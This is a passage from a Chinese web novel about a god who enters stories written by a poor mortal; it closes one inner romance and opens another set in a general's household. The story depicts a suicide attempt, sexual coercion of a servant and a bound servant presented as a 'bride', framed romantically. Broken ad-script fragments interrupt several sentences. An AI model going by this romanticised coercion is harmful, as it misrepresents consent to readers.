谢久微没有马上回答。 溯渊来了兴致,挑了一下谢久微的下巴:“说啊,久微,快回答他。” 谢久微闭了闭眼,说:“是。” 李承脑袋一昏,彻底失去了意识。 谢久微知道,这是他最后一次见李承。当溯渊带着他在天上飞的时候,他藏在袖口的发簪刺向了自己的心口。 谢久微再次醒来的时候,看见溯渊坐在床前,他的心很空:“你为什么要救我?” 溯渊咬牙问:“你为什么死? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就这么不想跟着本殿吗?” 谢久微说:“不想。” 溯渊更生气了:“那你想跟着谁?那个粗莽的凡人?” 谢久微沉默了一会儿,说:“与他无关,我是不想看见你。” 溯渊激动地站起来看着谢久微:“你就这么厌恶本殿?” 谢久微抬眼,看向溯渊,目光如炬:“是。我不想看见殿下,殿下一直在威胁我,逼迫我,我受够了!” 溯渊忽然笑了:“好!好!好!你不想看见本殿,本殿也不想看见你这个给本殿戴了绿帽子的残败之人!”说完,愤恨地挥袖,转身离开。 李承被上山采药的大夫带回去救治,他伤好一些之后,不想回九龙寨,便跟着大夫学医,在医馆帮着大夫抓药。 这天,李承看到一个带着幕篱的男人撩了帘子进来,男人摘下幕篱,李承怔住了。 男人伸出手,让大夫把脉,大夫摸上脉,眼睛都直了:“这,这,这是喜脉啊!” 李承只觉得耳边轰隆一声,喜脉?! 男人让大夫给他开一些安胎的药,李承抓药抓得极慢,抓完包好走过去把药放到了男人的手里。 男人拿了药转身就走。 李承终于忍不住追上去问:“孩子……是谁的?” 15. 第十四章 男人停住脚步,说:“孩子是我的。”说完,走了出去。 李承愣了一下,追了出去。 男人停下来,回头看向李承,李承连忙转头跑了。 过了几天,男人又来抓药,大夫说胎位有些不稳,让男人放松心情,李承心跟着紧了一下。 李承抓好药给男人的时候,踌躇着问:“你住哪?方便送你回去吗?” 男人说:“我住前面。”说完,转身走了。 没说住哪,也没说方不方便。李承猜不透男人的心思,但是也硬着头皮跟了上去。 李承看到男人站在一间客栈的门口,转头透过幕篱看着他,他走上前去问:“你住这儿吗?” 男人说:“嗯。”说完,走了进去。 李承犹豫了一下,告诉自己,他现在有了身孕,我得确定他的安全。于是跟了上去。 男人走上楼梯,李承在后面跟着,直到男人推开一间客房的门。 李承停住脚步,不知道里面有没有人,毕竟那天,他亲眼看到那个人把谢久微带走。 谢久微说:“进来喝杯茶吧。” 李承如梦初醒:“啊?好!” 李承坐在凳子上,看到谢久微拿起茶壶,看到他肚子微微露出的弧度,忽然站起来抢过茶壶:“你身子不便,还是我来吧。” 谢久微便坐下了。 李承给两个人倒好茶,犹豫着看向谢久微:“那个人呢?他怎么……让你一个人住这里?” 谢久微沉默了一瞬,说:“他怎么样,与我无关。” 李承细细品着这句话,忽然眼睛亮了起来,看向谢久微,有些雀跃的,不确定地问:“你们……分开了?” 谢久微点头:“嗯。” 李承心下大喜,随即又按住喜悦,问:“为什么?” 谢久微没有说话。 李承有些失落。 忽然,谢久微道:“我从来……也没有想和他在一起。” 李承听了大喜,站起来,组织着语言想问些具体的:“你们……你们之间是……” 谢久微垂下眼睛,说:“他胁迫我。” 李承顿时心疼了,笨拙地安慰:“久微,你,你别伤心,以后,以后有我。” 谢久微抬眸,看着李承真挚的眼睛,忽然有些羞愧:“你……” 李承干脆鼓起勇气说:“谢久微,我想照顾你,你让我照顾你好吗?不论孩子是谁的,我都会好好照顾你和孩子的。” 谢久微再次垂下眼:“孩子……是你的。” “真的吗?!”李承一瞬间眼睛大亮,走过去,有些不可置信地看着谢久微:“孩子……真的是我的?” 谢久微说:“他没有真正碰过我。” 李承又惊又喜:“没有真正碰过你……是什么意思?” 谢久微沉默片刻,终于鼓起勇气把这个守了多年的秘密说了出来:“他的身体,有缺陷,所以性格扭曲,暴躁易怒,喜欢折磨别人。” 李承顿时明白了,他可以想象谢久微之前在那个人身边是怎么过的,当即握紧拳头:“你和他是怎么认识的?他为什么要这样欺负你?为什么不反抗他?” 谢久微说:“他的背景很大,我之前,没有办法忤逆他。” “还有没有王法了?!你告诉我他是什么背景,我去揍他!”说完,抡圆了胳膊就要冲出去,谢久微连忙拦住李承:“别去了,都过去了。” 李承顾及到谢久微怀孕没有继续冲出去,可他心有不甘,问谢久微:“你就甘心,这样放过他?” 谢久微说:“后来他的兄弟来找过我,我和他的兄弟设了一个计,他已经得到了应有的惩罚,算了吧李承。” 李承见谢久微都这么说了,也只好作罢。 此后,李承经常来客栈看谢久微,而且李承在医馆更努力了,不久,李承租了一个小屋,将谢久微安置进去。 孩子生下来是个女孩,长得雪白面团子似的十分可爱,两人十分喜欢。 李承一直以为谢久微怀了他的孩子才接受他的,但是有一次他认真地问了谢久微,谢久微说,可能是在更早的时候,也许在他担心溯渊会做什么伤害李承而不得不离开山寨的时候就喜欢了。 李承听了十分欢喜,原来那时,谢久微说不喜欢他是假的!搂住谢久微亲了一口,忽然福至心灵:“后来,你是知道我在医馆,所以特意去找我的吗?” 谢久微点头说是,李承大喜,当即将人搂入怀里身体力行表达自己喜悦的心情。 孩子能走路的时候,谢久微去做了教书先生,把孩子带在身边,孩子也安安静静地听谢久微讲课。 这里的天高皇帝远,民风淳朴,谢久微的蓝眸也不会被当成异族人针对。 李承每天在医馆忙完就赶回家给谢久微和女儿做饭,饭桌上一家三口其乐融融,岁月静好,过着无人打扰的幸福生活。 ——第一个话本完 沈桥从第一个话本传出来之后,十分愤怒地想,什么穷酸书生写的破书?!让他穿成了一个受!还把他配给一个五大三粗的糙汉?!天知道他最讨厌两个男的搞在一起的,他向时明仙君申请要换一个凡人写的话本。 时明仙君礼貌且微笑地拒绝了他。 沈桥气恼道:“那我不穿书了!” 时明仙君打开凡间镜给沈桥看,有些幸灾乐祸地道:“你看,那凡人还在拜你呢!” 沈桥看到凡人在他的丑财神像面前跪地叩拜:“求求财神爷让我发财吧!” 一边拜还一边在那嘀咕:“为什么我写的话本没人看呢?” 沈桥瞪大眼睛,没人看!!!他这是选中了一个什么非酋凡人啊! 你也不想想你写的是什么玩意儿!沈桥在心里腹诽道。 他想下去把人痛打一顿,可是他不能,乱对凡人用仙法是要被天规惩治的!'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 不过他可以下凡逗逗那凡人玩,真有意思,写得这么烂还敢拜他! 他叫属下去查这凡人的财运如何。 结果属下汇报的结果发现这人的财运很贫瘠嘛!写话本不赚钱去考科举,嗷嗷花钱考不上,一辈子穷光蛋一个! 沈桥看得想嘲笑他。 凡间镜里,那凡人还在跪地神神叨叨地在他的丑财神像面前作法:“钱来,钱来,钱从四面八方来!” 沈桥嗤之以鼻:就你这样的还想要发财,做梦去吧! 沈桥来到凡间,隐去身形,站在那凡人的身边。 那凡人拜了半天,又开始嘀咕:“这财神爷拜了半个月了也不管用啊,别是光吃了我的白馒头不干活吧?” 沈桥瞪大眼骂:“谁要吃你的破馒头!!” 那凡人自然听不见沈桥的声音,顾自把上贡给财神的馒头拿下来,“财神爷,既然你不干活我就把馒头拿走了啊,真是求仙拜佛不如自己做主,什么财神爷了一点用都没有,拜了半个月了一点收入都没有!”一边往回走还一边骂骂咧咧。 沈桥气得吹胡子瞪眼,跟在那凡人后头指指点点:“你个臭书生!活该你一辈子挨穷!给我的馒头你还拿走!你还拿走!!” 沈桥跟着那凡人来到了一个破茅草屋,看着那凡人啃着馒头吃咸菜,骂了一句晦气,可真穷啊真穷啊! 沈桥眼珠一转,施法变了一个小金元宝在那凡人的馒头里。 那凡人啃着啃着馒头,忽然啃到了一个硬硬的东西,他把馒头掰开一看,竟然是一个金元宝! 天啊!!!天啊!!他发达了!! 他捧着这枚元宝亲了又亲,小宝贝啊小宝贝!你怎么就出现在我的馒头里呢? 一定是老天爷看他太穷了,特意给他扶贫的! 不对!他刚决定不拜财神就给了他一个金元宝,看来不拜财神是对的! 他在想怎么花这个金元宝。 他要吃烤鸭!香喷喷滋啦冒油的烤鸭!! 于是他捧着这枚金元宝往集市上跑去。 到了集市上他迫不及待地点了一只烤鸭,他正要付钱的时候,老板顿时横眉倒竖:“你这是骗小孩呢儿啊?!拿石头糊弄我?去去去!穷鬼一边去!” 他低头一看,手里的金元宝不知什么时候变成了一块破石头! 他的金元宝呢? 会不会是在哪跑丢了?他四处去找,就是找不到。 好像从云端突然跌落到谷底。 他香喷喷的,滋啦冒油的烤鸭,就这么到嘴飞了。 与此同时,沈桥被架回了天上,仙界督察仙官说他戏弄凡人扰乱凡间秩序,被罚继续参加时明仙君的穿书活动,穿的话本还是他戏弄的那个凡人——齐彬写的话本。 沈桥在内心翻了个白眼,就跟我不戏弄他就给我换个人写的话本穿似的,他带着无比沮丧的心情,穿进第二个话本里。 16. 第一章 陆凛二十岁的时候,父亲陆老将军瘫了,陆凛子承父业出去打仗,打了胜仗回家,看到父亲身边多了个男人。 陆凛一愣。 男人长得白白净净,十分好看,温和的眉眼一如从前,仿佛岁月没有在他脸上留下任何痕迹。 陆老将军笑着给他介绍,这是我新招的管家,叫谢清微。 陆老将军面色红润,春光满面,一看就是被照顾得不错。 陆凛对上谢清微的眼神,友好中带着小心翼翼。 陆凛觉得对方似乎并没有认出来自己,心里微微有些失落。 他定了定神,上前一步,伸出手向谢清微表示感谢。 谢清微看着他笑了一下:“少爷不必客气,照顾老爷是奴才应该的。”说完,上前一步伸出手回握住陆凛的手。 手中倏然的凉软,陆凛眉毛一动,对上谢清微温和的眉眼。与此同时,手中的感觉转瞬即逝,谢清微退后一步,站在了陆老将军身边。 陆凛早上洗漱完出门,看见谢清微捧着一本书在院子里给陆老将军念书。 念书的人眉目温软,清晨的阳光洒在身上,像一幅岁月静好的画卷。 谢清微见到陆凛,站起来向他行了个礼。 陆凛刚打算客套两句,却见陆老将军拍了拍谢清微的手背叫他坐下。 谢清微局促地看了陆凛一眼,坐了下去。 陆凛第一次做副将随军出征就打了胜仗,皇帝龙心大悦,当即给陆凛升了官。 于是陆凛从一个名不见经传的小兵一跃成了官职不小的武官,每天参与早朝。 陆老将军交代陆凛上朝要谨言慎行,凡事莫要冲动,少说多看。 陆凛应下了。 陆凛下朝回来,肚子有些饿了,叫下人去做点吃的,下人一脸为难,说谢清微在厨房给陆老将军熬药,吃饭可能需要等一等,并问陆凛想吃什么,他出去买。 陆凛吩咐了下人出去买了一些他爱吃的,待下人出去后,他走到厨房,看见了在厨房忙碌的清瘦身影。 谢清微转头看见陆凛,有些慌张,低头就是一句少爷好。 看着从前的他那么尊敬的人变得这样唯唯诺诺,陆凛心里有些不是滋味,走到谢清微面前,低低地问道:“你不认识我了吗?先生?” 谢清微倏然抬头,对上陆凛期待的目光。 顿了一下,很快移开目光:“少爷在说什么?奴才听不懂,少爷是否是认错人了?” “不!我不会认错!”陆凛突然大声否认,上前抓住谢清微的两条胳膊,语气激动地看着谢清微的眼睛说:“十年前在苏阳县,你教过我,你想起来了吗?我那个时候经常逃课,还经常打架,有一次最严重的时候,我回家被母亲打得三天都下不了床,,你还特意跑来我家为我求情,给我送药,你都忘了吗?” 二十岁的英俊少年,回忆起曾经,唇角不自觉地弯起,温柔的目光,满含期待地望着谢清微,迫切地期待谢清微的回答。 谢清微迎着少年的目光,有些歉意地摇了摇头,说:“少爷,奴才不记得有这些事了。奴才是曾经教过书,但是奴才实在不记得曾经教过少爷,如果奴才曾经教过少爷,那是奴才的荣幸。” “但是现在,您是少爷,奴才是下人,身份疏别,奴才希望少爷不要因为奴才曾经教过您就对奴才有什么特别照顾。”谢清微说着,拨开陆凛的手,退后一步。 陆凛还想要说些什么,却听谢清微又道:“奴才要给老爷熬药了,屋里味道大,少爷还是出去吧。” 谢清微说完,顾自去忙碌了。 陆凛站在原地看着谢清微的背影,怔了一会儿,转身离开了。 陆凛在院子里疯狂地练枪,那架势吓得下人们退后三丈远。 陆老将军在屋里听到声音直皱眉,“凛儿这是怎么了?” 谢清微没有说话,一副低眉顺眼的样子。 陆老将军又道:“你去把凛儿叫进来。” 谢清微只好出去。 陆凛看见谢清微过来,立马放下手中的长枪,擦了把汗,眼睛亮亮的:“你怎么过来了?” 谢清微看了陆凛一眼,便垂下眼睛:“少爷,老爷叫你。” 陆凛顿时失落。 陆凛跟着谢清微来到陆老将军的屋子里。 陆老将军问陆凛是不是心情不好。 陆凛看了一眼站在陆老将军旁边的谢清微,挠了挠后脑勺没说话。 陆老将军又询问今天早朝的事情,陆凛一一作答,他今天早朝什么也没说,光听别人上奏来着。 陆老将军若有所思地听完,叫陆凛继续保持这种光听不说的态度。 陆凛不明白,问陆老将军为什么这样做,陆老将军没有说原因,反而问他为什么心情不好。 陆凛又看了谢清微一眼。 陆老将军仿佛明白了什么:“是清微惹你不高兴了?” 陆凛下意识地摇头说:“没有!” 陆老将军板着脸问谢清微:“清微你说,你是如何惹少爷不高兴了?” 谢清微当即跪了下去,“回老爷,是清微不好……” 陆凛瞪大了眼睛,他记得谢清微之前教过他们,男儿膝下有黄金,只能跪天跪地跪父母。 陆凛抢过话来:“不关他的事!是我没看路,不小心把他绊倒了,我心里自责,所以在院子里练枪泄愤!” 谢清微仍然跪在地上低垂着眉眼。 陆老将军忽然笑了:“原来是此等小事,凛儿既然自责,向清微道个歉就好了,清微,你站起来吧。” 谢清微依言站了起来,对上陆凛灼灼的目光,陆凛说:“谢清微,对不起,我不该不看路,把你绊倒,我以后不会这样了。” 谢清微低下头说:“少爷不必如此,是奴才的错,以后我走路会注意避让少爷。” 见两人如此 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 和睦,陆老将军开心了。 晚上,谢清微正端着药从厨房出来,忽然看见一个高大的身影站在院子里,吓了一跳,待那人转过身来,心中划过一丝惊诧,惴惴不安地问:“少爷,您怎么在这里?” 漆黑的夜色里,陆凛的表情有些看不清,声音却异常洪亮:“男儿有黄金,大丈夫只可跪天跪地跪父母!原来你也是个为了荣华富贵折腰的谄媚小人,谢清微,算我看错你了!从今以后,我就当你从来没教过我!” 谢清微端着碗的手指一抖,差点没握住。 陆凛说完,转身就走了。 “好香啊!” “哪里这么香啊?” “走!咱俩看看去啊!” “我可不敢,我还要守着少爷呢!你自己去吧,看到好吃的给我带点回来!” 陆凛半梦半醒间听见叽叽喳喳的人声,睁开眼睛,发现门外确实有声音,还夹杂着琐碎的脚步声,他打开门问守夜的下人发生了什么事。 下人回答说厨房有人在做东西,好香,有几个忍不住香味的下人去厨房一探究竟了。 陆凛困得想回去再睡一觉,但是味道这实在是香,街上最好吃的点心铺子也没有这么香,馋虫被勾起来,他也决定到厨房一探究竟了。 路上,他心里忽然想到一个猜想,加快了脚步。 当陆凛走到厨房,他听见里面欢声笑语觉得很诧异。 “谢管家您做的糕点实在是太好吃了!有空多给我们做做吧!行不行?” “多谢各位喜欢,有空一定给你们做,时间不早了,我要给老爷送糕点了,各位慢慢吃,我先走了。” 谢清微推开门,看到了门外的陆凛,陆凛脸上不是很高兴。 谢清微心里咯噔一下:“少爷,您怎么在这里?” “少爷少爷,谢管家做的糕点可好吃了!您尝尝!”其中一个年轻的下人跑出来,笑吟吟地拿着一块软糯的白糕递过来。 陆凛一掌打掉,冷冷地看着众人:“谁让你们来这里的?!” 几个下人被吓到了,顿时扔掉手中的糕点,跪在地上磕头:“少爷,对不起,是我们太贪吃了,对不起少爷!” “谢管家做的糕点太香了,我们控制不住啊少爷,都怪谢管家,大半夜做东西,不关我们的事啊!” 这责任也能推到谢清微身上?陆凛心里嗤笑。 谢清微啊谢清微,你看看,你好心肠给人家吃糕点,人家转头就把你卖了! 陆凛盯着谢清微低着的脑袋冷冷道:“谢清微,人家说你的糕点太香了,勾得他们跑过来吃呢!” 谢清微垂着头说:“少爷,对不起,都是我的错……” “你的错……”陆凛嗤笑一声,“那你打算怎么赎罪呢?” 谢清微闭了闭眼,轻声说:“奴才听凭少爷发落。” 陆凛心情忽然变得很好:“这可是你自己说的,谢清微。” 17. 第二章 “是,少爷。”谢清微说着,抬眼看向陆凛,一双美目里满是乞求:“但是我现在要去给老爷送糕点,还请改日再罚可好?” 陆凛想了一下,同意了。 谢清微谢过陆凛,回身去取了一盘糕点装在食盒里,看着站在门口的陆凛,有些尴尬地道:“少爷,请让一下。” 陆凛沉默了一下,挪开了身体,谢清微松了口气,径直走了出去。 “谢清微!” 谢清微忽然听见陆凛叫他,心惊胆战地回头看向陆凛:“少爷,还有什么吩咐?” 陆凛盯着谢清微,说:“明天晚饭后,你还在这里,做和今天晚上一样的糕点。” 谢清微面露难色:“少爷,我能不能等老爷睡着了再来做糕点?” 陆凛问:“父亲大概什么时候睡着?” 谢清微想了想,说:“大概子时。” 陆凛诧异:“子时?父亲平时睡那么晚?” 谢清微默了默,说:“老爷年纪大了,睡眠不太好。” 陆凛点点头,说:“好,那就子时,父亲睡着后,你去厨房做糕点。” 谢清微垂眸说:“是,少爷。” 谢清微走后,陆凛对几个下人说:“今晚的一切,你们必须给我忘得一干二净,明晚,谁也不许到这里来,否则,你们的好日子就到头了!” 几个下人连连点头。 第二日,陆凛下朝回来去医馆开了一些养血安神的药拿回去看望陆老将军。 陆老将军笑着夸陆凛孝顺,又问陆凛从何知道自己睡眠不好的。 陆凛下意识地看向陆老将军身旁的谢清微,不知怎么,他没有如实说:“听府里下人说的。” 陆老将军摸着胡子笑着点点头。 陆凛走后,陆老将军问谢清微:“是你告诉凛儿我睡眠不好?” 谢清微心头一跳,跪下去,说:“是,老爷。” 陆老将军沉下声音说:“以后凛儿跟你说了什么,你要如实告诉我。” 谢清微下意识想到晚上要做糕点的事情,话在嘴边打转,最终只说了句:“是,老爷。” 第二日晚子时,待陆老将军睡着了,谢清微赶到厨房开始做糕点,夜里寂静得很,一点人声都没有。 谢清微以为陆凛让他做糕点是想吃。 但是谢清微直到做完,也没有看见陆凛,其他人也没看见。 看来是他想错了。 陆老将军已经睡了,身体状况也不能吃隔夜的糕点,做了这么多,没人吃就浪费了,他打算第二天出去分给一些乞丐。 谢清微装好糕点打开门,忽然看见一只小野猫跑过来,眼巴巴地瞅着他,谢清微便拿了一块糕点喂给小猫,小猫吃得很香。 “谁让你把吃的喂猫的?” 突然的声音吓了谢清微一跳,小猫也受到惊吓,嗖得一下窜走了。 谢清微站起来,看到不知从哪里走出来的陆凛,叫了一声少爷。 谢清微低着头说:“对不起,少爷,奴才以为这些东西没人吃,所以……” 陆凛冷冷道:“我叫你做的东西,要处置也是我处置!” “奴才知道了。”谢清微说着,抬眼看向陆凛,“那这些糕点需要奴才帮您放到哪里?” 陆凛想了想,说:“就放在厨房吧!以后你每天晚上都做,做完放在厨房。” 谢清微抬眼,眉心皱紧:“少爷,奴才要照顾老爷,不能每天都做。” “父亲每天子时入睡,你子时来做糕点,有什么问题?” “可奴才白日会疲累,奴才怕白日里照顾不好老爷。” “那白日就找其他下人帮你照顾。” 谢清微沉默了一会儿,深吸一口气,说:“少爷,这件事奴才不能做主,您跟老爷说,只要老爷同意,奴才就每天晚上来做糕点。” 陆凛看着谢清微垂下的头顶,说:“那好,我去跟父亲说。” 谢清微走后,陆凛走进厨房,拿了装了糕点的食盒回了房间。 陆凛打开食盒,糕点的香味扑鼻而来,让人忍不住食指大动。 陆凛尝试着拿起一块糕点,软糯雪白,散发着热腾腾的香味。 他将这块糕点缓缓拿到唇边,眼看就要放入口中,忽然想到了什么,又猛地将糕点放回去,将盒子盖好。 第二日,陆凛上朝前去跟陆老将军说要谢清微晚上做糕点,结果被拒绝了。 陆凛不高兴地去上朝了。 陆凛走后,陆老将军问谢清微:“清微,你跟凛儿是不是有什么不愉快?” 谢清微说:“奴才前日晚上为您做糕点,被少爷看到了,少爷便让我昨日晚上为他做糕点 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 陆老将军顿时明白了,不悦道:“你为凛儿做糕点这件事你为什么不提前告诉我?我之前不是告诉你了吗?凛儿跟你说什么你要如实跟我说,你为什么瞒着我?” 谢清微跪了下去,低头道:“奴才知错了,请老爷责罚。” 陆老将军沉声问:“所以,你为什么要瞒着我去给凛儿做糕点?” “奴才……奴才没有想到……以后一定告诉您。” “没想到?”陆老将军冷笑一声,谢清微觉得背上汗毛倒竖,他觉得自己死定了。 陆老将军突然勾了勾唇角,说:“你今晚给凛儿去做糕点吧。” 谢清微来敲门告诉陆凛说晚上会为他做糕点,陆凛不知为什么父亲突然改变了主意,但是这个消息让他很开心,但是他不打算表现出来,板着脸叫谢清微晚上乖乖去厨房做糕点。 晚上,陆凛犹犹豫豫地走到厨房门口,手放在门上,想敲又犹豫下来。 听着里面轻而缓慢的脚步声。 还没等他先敲门,倒是里面先响起迟疑的疑问声:“是……少爷吗?” 陆凛咳了一声,说:“是我。”说完,推开门正欲走进去,却忽然听谢清微叫住他:“少爷!您先等等!” 陆凛疑惑地停住了脚步,问:“怎么了?” 谢清微叫他在门口等一下,一会儿出来给他送糕点,陆凛便在门口等着。 陆凛等了一会儿,看到谢清微打开门,把食盒给他,透着月色和烛光,他看到谢清微白玉般的面颊上有两团红晕,他忍不住问:“你脸怎么这么红?发烧了吗?”他说着,伸手想探谢清微的额头。 谢清微反射性地躲了一下:“奴才没有,是……奴才刚才做糕点的热气熏的,一会儿就好了。” 陆凛点头表示知道了。 谢清微看着他,眼神闪了闪,说:“夜深了,少爷回去吧。” “你也早点回去。”陆凛说完,转身走了。 陆凛走出一段距离,总觉得哪里不对劲,转身回去,正好看见谢清微在路上走着,谢清微没有看见陆凛,步伐有些缓慢。 陆凛不自觉放轻脚步,跟了上去。他看见谢清微进了他父亲的房间。 陆凛犹豫了一下,悄声无息地走到门边,习武之人比常人耳聪目明,只要他想听,就能听到里面的声音。 18. 第三章 “清微,辛苦你了。” 陆凛听到陆老将军的声音,惊讶父亲居然还没睡。 “不辛苦,是奴才应该做的,” “凛儿有没有为难你?” “没有……啊!” 陆凛忽然听到谢清微一声惊叫,尾音发颤,陆凛心里咯噔一下,只觉有什么不好的事情要发生。 然后他便听见衣料摩擦的声音:“有没有让凛儿看到?” “没有,老爷……” 谢清微的声音发颤,呼吸不稳。 军中清苦,却也偶有饮酒作乐,陆凛不是不知事的人,在心中形成一个猜测。 陆凛听了一会儿,转身走了。 陆老将军从谢清微身上起来,声音冷静:“方才,凛儿在门外。” 谢清微心中猛跳一下,原本闭着的眼睛突然睁开,暗淡的月色里,陆老将军的身体形成了一团黑影,好似下一秒就要将他吞噬。 第二日一早,陆凛在陆老将军门前站了一会儿,才推门进去请安。 他看见谢清微站在陆老将军旁边,一身白衣清丽出尘,好似纤尘不染。 陆凛请过安后,忽然听陆老将军道:“凛儿,你该娶亲了。” 陆凛一怔,下意识地说:“儿子还小,婚事不着急。” 陆老将军看着他,沉声说:“你不小了。” 陆凛没有继续这个话题,拜别父亲去上早朝。 陆凛下朝回家,就被叫到正厅,看到陆老将军坐在主位,旁边站着谢清微,四下坐着几个媒人打扮的大娘。 陆凛觉得事情有些不妙:“父亲这是何意?” 陆老将军道:“凛儿,这几位,是为父请来为你说亲的,她们带了全城适龄姑娘的画像,你看看,有没有中意的。” 陆凛声音冷硬:“父亲,我早上便已说过了,我现在不想娶亲。” 陆老将军不悦:“你为何不想娶亲?” 陆凛抬头看了一眼,又移开视线,道:“我还没有玩够,不想娶亲。” 陆老将军当即吹胡子瞪眼:“什么叫你还没有玩够?!为陆家传宗接代是你作为陆家子孙的职责!” 陆凛不说话了。 陆老将军用不容置疑的语气说:“明天,明天为父就找媒人来,你给我好好相看!” 陆凛没有再反驳。 第二日,陆凛迫于无奈选了几个,媒人说过两天带他去见人,就这样说定后,几个媒人满意而归,陆老将军也露出了满意的笑容。 谢清微去厨房为陆老将军熬药,转头,忽然看到不知何时进来的陆凛,他吓了一跳,低头唤了一声:“少爷。” 陆凛问:“你跟我父亲多久了?” 谢清微说:“回少爷,有大半年了。” 陆凛又问:“为什么跟着我父亲?” 谢清微张了张口,耳边响起柴禾燃烧的噼里啪啦声,很快转身说:“奴才要熬药了,屋里味道太重,还请少爷出去吧。” 陆凛没有动,谢清微低头看着药。 陆凛站了一会儿,突然转身离开,谢清微紧绷的躯体终于放松下来。 接下来几天,媒人领着陆凛见了几个姑娘,却都没有结果。不是性格不合,就是长相不符。媒人在陆老将军面前说陆凛太挑剔了,这生意没法做了。 陆老将军压抑着怒气问陆凛:“凛儿喜欢什么样的姑娘?” 陆凛想了想,说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“我也不知道。” 陆老将军让陆凛先纳妾,生个孩子,等遇到了喜欢的再娶正妻。 陆凛无法反驳,只好应下。 在媒人热情的介绍下,陆凛稀里糊涂挑了一个姑娘,择日娶亲。 婚期将至,陆府里一片张灯结彩,喜气洋洋。 陆凛却没有那么开心,思来想去,决定出门去找朋友喝酒。 陆凛走向大门,正好看见谢清微拎着药包进门,谢清微低头向陆凛打了个招呼,转身就要走,却被陆凛握住了手腕。 陆凛反应过来的时候,也不知道自己怎么就握住了人家的手腕,看着掌心那截白皙的腕子,硬着头皮说:“我要娶亲了,不祝福我一下吗?” 谢清微说了一句:“恭喜少爷。”趁机抽回了自己的手,“少爷,没其他事的话,奴才就走了,老爷还等着奴才熬药。” 陆凛闷闷道:“你去吧。” 陆凛出去跟朋友喝酒,将心里话竹筒倒豆子一般说出来发泄郁闷,朋友劝他既然对姑娘没感觉就不要耽误人家姑娘。陆凛也觉得朋友说得对,当即决定退婚。 于是,陆凛回去壮士断腕一般跟陆老将军说明,陆老将军当即大发雷霆,扬言绑也要将他绑进洞房,接着剧烈地咳嗽起来。 看到陆老将军的样子,陆凛只好说不退婚了。 陆老将军这才顺了气,让陆凛好好准备成亲,陆凛应下,然后看着谢清微扶着陆老将军回房。 成亲那天,陆凛硬着头皮拜了天地,他不想进洞房,一个劲儿在外面陪酒,直到被陆老将军呵斥,才不得不进了洞房。 陆凛不情不愿地推开房门走进去,可当他看到里面的景象时,心中一震。 19. 第四章 陆凛走到床边问:“你怎么会在这里?谁把你绑在这里的?” 床上的人哑着嗓子说:“奴才,是少爷的新娘。” 陆凛简直不敢相信自己的眼睛,这些天t朝思暮想,日思夜想的人就这样香艳地出现在眼前,“怎么会?” “我不是在做梦吧?” 床上的人偏过头去说:“老爷说,少爷太过挑剔,怕耽误人家姑娘,便让奴才来了。若少爷不满意,可否帮奴才解了绳子,让奴才离开。” 陆凛心里剧烈起伏,他颤着手,不知自己的手该放在那里,最终决定伸手去解谢清微手上的绳子,解到一半,又停住了。 谢清微疑惑,看着他问:“少爷为何停下?” 谢清微在他心里,十年前是端方的,十年后是懦弱的,如今,却是,那双漂亮的眼睛褪去了清正,变得媚惑,眼尾很红,眼里含着水汽,晶莹剔透,要坠不坠的,像珍珠,好似一只缠在网上的妖精,等着他去拯救。 陆凛看着谢清微的眼睛,迟疑地,像是要确定什么似的问:“你……是我的新娘?” 谢清微的眼睛闪烁了一下说:“是。” 陆凛看着谢清微,忽然伸出手,盖住了谢清微的眼睛,缓缓低下头,吻住了谢清微的嘴唇,想象中的柔软,陆凛没有经验,只是凭着感觉吮吻。 他想问谢清微,为什么跟着他父亲,但是又不想问,此刻他想做一个傻子,一个什么也不知道的傻子。 陆凛没有经验,有些出糗,谢清微无可奈何,只好教陆凛。 陆凛发现谢清微是可以怀孕的体质,顿时有种捡到宝了的感觉,他欣喜地问:“你会怀孕吗?” 谢清微睁开眼睛,沉默了一下,说:“会。” 陆凛大喜,说:“那……给我怀个孩子好不好?” 谢清微闭上眼睛,说:“好。” 陆凛将谢清微抱在怀里,前所未有的满足,亲了一下谢清微的脸,抵着谢清微的额头说:“先生,我知道你就是先生,先生,我可以叫你清微吗?” 怀里的谢清微闭着眼睛,没有说话。 陆凛以为谢清微睡着了,放轻了声音说:“那我就叫你清微了。” “清微,你知道吗?十年前第一次见你,我就记住了你,后来搬走之后,我心里就一直念着你,念念不忘了十年。” “如今,我像是做梦一样,你在我怀里,我娶了你,你真的是我的了。” “早知道你会怀孕,我应该早一些回去找你,把你娶回家。” “说不定今天晚上你就怀了我的孩子了,我希望是个女儿,跟你一样好看,以后我们就一起抚养他长大,好不好?” “不说话我就当你答应了。” 陆凛有种窃喜的,找回失而复得的珍宝的感觉,紧紧抱着谢清微温热的身体,好像要融入骨血里。 陆凛最后轻轻亲了一下谢清微的额头,小声说:“清微,我喜欢你,我会一直对你好。” 第二日,是新媳妇敬茶的日子。 陆凛觉得带着谢清微去见父亲有些尴尬,却还是带着谢清微去见了。 谢清微给陆老将军敬了茶后,陆老将军看着二人站在一起,看到谢清微低着头。 陆老将军问陆凛:“凛儿,对为父给你选的人,可满意?” 陆凛说:“儿子很满意。” 陆老将军笑了。 陆凛说自己去上朝了,拜别父亲,陆老将军对谢清微说送送陆凛。 陆凛牵起谢清微的手,向门外走去。 临别时,陆凛抱了谢清微一下,轻轻亲了一下谢清微的耳朵,说:“在家等我。” 陆凛走后,谢清微回了大厅,向陆老将军行了个礼。 陆老将军问:“凛儿待你怎样?” 谢清微说:“很好。” 陆老将军又问:“你喜欢凛儿吗?” 谢清微沉默了。 陆老将军提高了声音:“清微,抬头看我。” 谢清微身子颤了一下,抬起头,看向陆老将军深沉的眼:“说实话,我又不会把你怎么样。” 谢清微说:“不喜欢。” * 陆凛下朝一进府,便问下人新夫人在哪。下人说新夫人在厨房。 陆凛觉得奇怪,谢清微在厨房做什么,即刻奔往厨房。 陆凛进了厨房,看见谢清微在熬药。 谢清微看见陆凛,叫了声:“少爷。” 陆凛有些不开心,走过去,搂住了谢清微的腰,问:“在给父亲熬药?” 